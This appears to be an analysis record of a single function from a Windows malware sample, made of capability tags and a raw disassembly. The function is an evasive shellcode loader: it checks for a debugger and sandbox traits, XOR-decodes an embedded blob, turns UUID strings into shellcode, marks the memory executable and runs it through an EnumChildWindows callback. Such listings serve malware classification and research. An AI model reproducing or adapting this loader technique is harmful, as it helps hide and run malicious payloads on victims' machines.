Function at 0x1400ad7b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get memory capacity
Get system information on windows

Disassembly:
push r15
mov eax, 0xa2408
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000bb40
sub rsp, rax
lea r15, [rsp + 0xd0]
mov rbx, rdx
call fcn.14000aba0
lea rdx, [0x1400b2078]
mov rcx, r15
mov r8d, 0xa2328
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0x5b], 0x6c577358
movabs rax, 0x7830644e73577830
mov qword [rsp + 0x53], rax
mov byte [rsp + 0x5f], 0
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rcx, qword [rbx]
lea rdx, str.Bbs.exe
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400ad9e3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ebx, eax
test eax, eax
jne 0x1400ad9e3
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.kernel32.dll
mov qword [rsp + 0x30], rax
call rax
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
call rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x28], 0
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r8d, 0x3e8
call rsi
test rax, rax
je 0x1400ad9e3
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x68], 0
mov rcx, rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x80], 1
jbe 0x1400ad9e3
lea rsi, [rsp + 0x90]
mov dword [rsp + 0x90], 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x98]
shr rax, 0x1e
cmp eax, 1
jbe 0x1400ad9e3
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x5f5e100
call sub.msvcrt.dll_malloc
mov rcx, rax
test rax, rax
je 0x1400adbbe
call sub.msvcrt.dll_free
mov rax, r15
lea rcx, [rsp + 0xa23f8]
movsxd rdx, ebx
add ebx, 1
movzx edx, byte [rsp + rdx + 0x53]
xor byte [rax], dl
lea rdx, [rax + 1]
cmp rcx, rdx
je 0x1400ada05
cmp ebx, 0xc
jne 0x1400ada00
add rax, 2
xor byte [rdx], 0x30
cmp rcx, rax
je 0x1400ada05
mov ebx, 1
jmp 0x1400ad9b5
mov r14d, 0xfffffffe
mov eax, r14d
add rsp, 0xa2408
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, rdx
jmp 0x1400ad9b5
mov rdx, r15
xor eax, eax
lea rcx, str.1__s_n
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
lea rbp, [0x1400b2049]
lea rdi, str.substring__s_n
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xb0], 0
mov word [rsp + 0xb4], ax
mov byte [rsp + 0xb6], 0
mov dword [rsp + 0x60], 0
call fcn.140015820
lea rcx, str.kernel32.dll
mov rax, qword [rsp + 0x30]
call rax
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [rsp + 0x38]
call rax
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
mov edx, 0x100000
call rax
mov r12, qword [sym.imp.RPCRT4.dll_UuidFromStringA]
mov qword [rsp + 0x40], rax
mov rbx, rax
lea r13, [rax + 0x428a0]
nop dword [rax]
mov rdx, rbp
mov rcx, r15
call sub.msvcrt.dll_strtok
mov rcx, rsi
mov rdx, rax
call sub.msvcrt.dll_strcpy
mov rdx, rsi
mov rcx, rdi
call fcn.140015870
mov rdx, rbx
mov rcx, rsi
call r12
mov r14d, eax
test eax, eax
jne 0x1400adb9c
xor eax, eax
jmp 0x1400adb14
add rax, 1
cmp rax, 0xa2328
je 0x1400adb3e
cmp byte [r15 + rax], 0x2c
mov edx, eax
jne 0x1400adb08
test eax, eax
je 0x1400adb3e
add edx, 2
mov r8d, 0xa2328
mov rcx, r15
sub r8d, edx
movsxd rdx, edx
add rdx, r15
movsxd r8, r8d
call sub.msvcrt.dll_memcpy
add rbx, 0x10
cmp rbx, r13
jne 0x1400adac8
mov rax, qword [rsp + 0x30]
lea rcx, str.kernel32.dll
call rax
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [rsp + 0x38]
call rax
mov rdi, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
mov r8d, 0x20
mov edx, 0x100000
mov rcx, rdi
call rax
xor ecx, ecx
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.USER32.dll_EnumChildWindows]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400ad9e9
lea rcx, str.____UUID_convert_error_n
mov r14d, 0xffffffff
call fcn.140015820
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400ad9e9
mov r14d, 1
jmp 0x1400ad9e9